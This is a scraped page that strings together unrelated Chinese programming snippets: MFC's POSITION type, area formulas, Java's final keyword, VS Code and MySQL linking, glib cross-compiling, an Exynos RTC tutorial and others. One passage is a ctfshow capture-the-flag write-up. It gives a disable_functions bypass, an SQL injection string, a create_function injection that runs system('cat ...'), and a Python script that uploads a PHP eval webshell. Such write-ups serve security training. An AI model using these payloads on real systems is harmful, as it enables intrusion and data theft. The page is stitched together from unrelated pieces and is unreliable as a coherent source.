Other

Visual C++ POSITION用法解释,POSITION是什么?

 POSITION是MFC模板类库中经常使用的一个数据类型,我们从它的定义可以看出,其实,它就是一个指针。  // abstract iteration position  struct __POSITION { };  typedef __POSITION* POSITION;  MFC给出的注释是:一个抽象的迭代位置,既然是抽象,也就是没有给定具体的数据类型,以满足不同的模板参数的需要。  在CList中,经常会用到POSITION作为引用参数,或者作为返回值。下面,我们就举2个简单的例子,来帮助大家理解这个数据类型,不过在此之前,我要啰嗦一下,因为有很多人对__POSITION这个空结构体,表示怀疑,似乎这成为了他们理解的障碍。既然是一个空的结构体,怎么能用它来定义指针呢?  其实,C++编译器,不会将一个空的结构体完全看成是空的,编译器会为它分配1byte的内存,其实说白了__POSITION这个结构体,就相当于一个unsigned char的类型,所以__POSITION也就相当于是unsigned char,也就是Windows里面的BYTE类型,从而POSITION也就有了一个可以等价的形式,那就是BYTE*。  我们举CList中2个典型的成员函数作为讲解的重点,当然,大家应该知道CList是一个链表数据结构。下面看这两个函数:  1. POSITION GetHeadPosition() const;  显而易见,这个函数,是用来获取链表头的,它的返回值是一个POSITION,其实也就是一个指针。这个指针代表了谁?当然,就是你一直想要的链表头在链表中的指针,这个指针是new出来的,你绝对不能擅自的将这个指针delete掉。  2. TYPE& GetAt(POSITION position);  这个函数,看起来,比较怪。它的唯一的入参是一个指针,其实,有可能就是你刚刚用GetHeadPosition获得的头节点指针。这个函数的意思,也就是,需要你提供一个节点的地址,然后,CList会遍历整条链,去寻找并返回符合这个地址的节点数据。  

所有面积公式

长方形:S=ab{长方形面积=长×宽}正方形:S=a^2{正方形面积=边长×边长}平行四边形:S=ab{平行四边形面积=底×高}三角形:S=ab÷2{三角形面积=底×高÷2}梯形:S=(a+b)×h÷2{梯形面积=(上底+下底)×高÷2}圆形(正圆):S=∏r^2{圆形(正圆)面积=圆周率×半径×半径}圆形(正圆外环):S=∏R^2-∏r^2{圆形(外环)面积=圆周率×外环半径×外环半径-圆周率×内环半径×内环半径}圆形(正圆扇形):S=∏r^2×n/360{圆形(扇形)面积=圆周率×半径×半径×扇形角度/360}长方体表面积:S=2(ab+ac+bc){长方体表面积=(长×宽+长×高+宽×高)×2}正方体表面积:S=6a^2{正方体表面积=棱长×棱长×6}球体(正球)表面积:S=4∏r^2{球体(正球)表面积=圆周率×半径×半径×4}椭圆 S=π(圆周率)×a×b(其中a,b分别是椭圆的长半轴,短半轴的长).

final关键字简介说明

转自:http://www.java265.com/JavaCourse/202204/3128.html  下文笔者讲述final关键字的简介说明,如下所示: final关键字的功能: 用于修饰不可变的对象 final:修饰对象后会变的不可变 final关键字可用于修饰类,方法,变量 类:被修饰的类,不能被继承,即final修饰的类不能有子类 方法:被修饰的方法,不能被子类重写 变量:被修饰的变量,不能更改变量的值 final使用方法 修饰类 被final修饰的类,是最终类,它不能再有子类。这个类不能被继承。 final class 类名 { } 修饰方法 修饰符 final 返回值类型 方法名(参数列表){ //方法体 } 被final修饰的方法,这时这个类没有被final修饰,那么这个类是可以有子类的,但是它中被final修饰的方法,在子类中是不能复写的。 修饰变量 1.局部变量——基本类型 基本类型的局部变量,被final修饰后,只能赋值一次,不能再更改 public class FinalTest { public static void main(String[] args) { //声明变量,使用final修饰 final int a = 888; //第二次赋值 A = 999; // 报错,不可重新赋值 } } 2.局部变量——引用类型 引用类型的局部变量 被final修饰后,只能指向一个对象 地址不能再更改 但是不影响对象内部的成员变量值的修改 public class FinalTest2 { public static void main(String[] args) { // 创建 User 对象 final User u = new User(); // 创建 另一个 User对象 u = new User(); // 报错,指向了新的对象,地址值改变。 // 调用setName方法 u.

ctfshow-大赛原题(680-685)

web680 post传入code=phpinfo();有回显 查看disable_functions,发现这些被禁用 assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir code=print_r(scandir('./')); 查看发现文件  code=show_source(secret_you_never_know);     web681 登入抓个包 尝试注入,单引号被过滤,那就用\转义单引号 输入 ||1#\ ,等价于 select count(*) from ctfshow_users where username = '||1#\' or nickname = ' ||1#\'    web682 不会解混肴    web683 ?秀=7.6e6 科学计数法绕过,sleep不会转,等7秒即可(0x16进制也可绕过)     web684 /?action=\create_function&arg=return(1);}system('cat /secret_you_never_know');/* 详见web147     web685 import requests url=http://afda2459-aa5f-4692-ad7e-6c672e51685f.challenge.ctf.show/ files={ 'file':'<?php eval($_POST[test]);?>'+'b'*1000000 } r=requests.post(url,files=files) for i in range(0,10): u=url+'data'+str(i)+'.php' r=requests.post(u,data={'test':'system(ls;);'}) print(r.text) print(1)  

完美解决:VsCode C++ 连接mysql数据库出现undefined reference to 的问题

环境:  Windows10  VsCode C++ mysql 目录:  一、undefined reference to 问题分析  二、简单与介绍区分VsCode的两种编译运行代码的两种方法(F5编译和CodeRunner)  三、undefined reference to 问题解决方法  四、其他 一、undefined reference to 问题分析 错误如下: undefined reference to `mysql_init' undefined reference to `mysql_real_connect'  这个问题的原因大概率是:(默认VsCode和mysql的配置没有问题) 没有链接到库文件 解决方法就是链接mysql的库文件。(如果在Vsual studio中可能就直接在首选项中添加依赖文件路径了,但在VsCode里我们需要添加相应的语句去达到相同的目的)  这里稍微提一嘴头文件和库文件的区别:  1.头文件中是函数或定义的声明,及少量内联函数的使用(一般不包含非静态函数实现)  2.库文件中包含函数的实现 所以如果是头文件包含(测试代码的第三行)出错,那么在写代码时调用mysql相关语句就会有波浪线错误提示。如果硬要编译的话,会出现如下错误提示如下:  error: 'MYSQL' was not declared in this scope  error: 'my_sql' was not declared in this scope 既然代码本身没有波浪线报错,就说明头文件的包含是没有问题的,出错的原因就是只有声明没有实现,也就是没有链接到库文件。 测试代码如下:(测试代码名为:test.cpp) 1 #include<iostream> 2 //前面是你mysql头文件目录 3 #include D:/ROUTE/mysql8/include/mysql.

[codeforces]第2天

时间比较晚了,想了想还是得把这个vp搞完,得坚持做下去 今日vp:Educational Codeforces Round 127 (Rated for Div. 2)  A是比较简单的观察,B可以模拟做,C有点思维,需要推下公式,同时注意一个细节:负数的除法是ceil而不是floor,这导致我wa了一发。 D可以从几何考虑,纯思维题,不算太难。 E感觉是图论+计数,感觉难度挺大的,没什么好的想法。

交叉编译glib2.72.1

较早的版本编译起来比较费,要依赖别的库像libffi处理高级语言之间相互调用的问题,zlib等 较新的版本采用meson构建,会自动下载依赖库,所以比较方便。 现在glib源码:http://ftp.acc.umu.se/pub/GNOME/sources/glib/ 我这里下载的是最新的2.72.1 tar xvf glib-2.72.1.tar.xz cd glib-2.72.1 新建编译脚本arm.sh  #!/bin/bash  if [ -d armarm_build ];then rm -r armarm_buildfimkdir armarm_buildarch='arm-cortex_a9-linux-gnueabi-' #根据实际情况sys_root=/opt/arm-cortex_a9/arm-cortex_a9-linux-gnueabi/sysroot/ #根据实际情况  echo [constants] > cross_file.txtecho arch = '${arch}' >> cross_file.txtecho [binaries] >> cross_file.txtecho c = arch + 'gcc' >> cross_file.txtecho cpp = arch + 'g++' >> cross_file.txtecho ar = arch + 'ar' >> cross_file.txtecho ld = arch + 'ld' >> cross_file.txtecho srtip = arch + 'strip' >> cross_file.

ARM接口技术——RTC实时时钟

RTC RTC简介 RTC(Real Time Clock)即实时时钟,它是一个可以为系统提供精确的时间基准的元器件; 与一般元器件使用的时钟源不同,RTC一般采用精度较高的晶振作为时钟源,因为它对精度要求较高; 一般RTC为了在主电源掉电时还可以工作,需要额外加电池供电。  Exynos4412下的RTC控制器 Overview: 有以下关键信息: Exynos4412集成的RTC需要外部通过一个32.768 kHz的高精度时钟晶振; 提供BCD码,BCD码是用4 Bit 表示一个十进制数,比如12的二进制是1100,用BCD码表示就是0001 0010; 提供闰年判断; 提供闹铃的功能,即它不但有实际的时间,还可以设定一个时间,时间到了可以产生中断或者从低功耗模式“叫醒”; 提供独立的电源引脚,一般MCU和SOC都有,但是开发板没有接入电池,也就没有使用到这个独立电源引脚;  RTC获取当前时间实验 RTC实验分析 RTC实时时钟框图:   前面提到它的工作需要外部提供一个32.768 kHz的时钟晶振,然后在RTC内部有一个2^15分频的分频器,分频之后的频率正好是1Hz,这个时钟就可以给秒寄存器; 秒寄存器接收到时钟后会自增,加到60的时候就会发给分寄存器,以此类推; 此外还有Leap Year Generator,可以支持闰年的计算,Alarm Generator,闹铃功能。  RTC相关寄存器:  有以下寄存器: BCD前缀的寄存器,用于存储实际的时间,把时间按照BCD码存储的时间信息,根据时间单位拆分成7个寄存器分别存储,这些寄存器需要用于读取; ALM前缀的寄存器,用于闹铃的功能,在这些寄存器设定一个时间,当实际的时间到达ALM时间可以提供闹铃功能,这里的实验不用; INTP寄存器用于挂起中断,与ALM功能一起使用,这里也用不上; RTCCON用于配置RTC,需要配置; 还有其它的暂时用不到。  需要关注的寄存器: BCDXXX:  以BCDYEAR为例,它使用BCD码表示实际时间的年,只用了低12位; 比如 0000 0010 0010,即022,可以用来表示2022年;其它的BCDXXX寄存器同理。  RTCCON:  RTCCON寄存器只使用了低10位,1-9位都使用默认设置; 只需要关注第0位CTLEN:打开RTC时钟。  RTC实验代码 #include exynos_4412.h void RTC_Init() { RTCCON |= 1; /* 打开RTC设置 */ /* 校准时间 */ RTC.

Ubuntu22.04 记录

切换中文 & 安装输入法:同此方法差不多https://blog.csdn.net/xiaopang_love_study/article/details/119487748 root默认密码及修改:首次安装Ubuntu的 默认root密码是随机的,修改方法如下 : 在终端输入命令 sudo passwd,然后输入当前用户的密码,再输入root用户密码,修改成功后,切换命令 su - root,再输入新的密码就ok了

VSCODE设置保存代码不换行

删除所有,保留如下 { vetur.format.defaultFormatter.html: js-beautify-html, vetur.format.defaultFormatter.js: vscode-typescript, vetur.format.defaultFormatterOptions: { js-beautify-html: { wrap_line_length: 240, wrap_attributes: auto, end_with_newline: false }, prettyhtml: { printWidth: 100, singleQuote: false, wrapAttributes: false, sortAttributes: false } }, window.zoomLevel: 2, }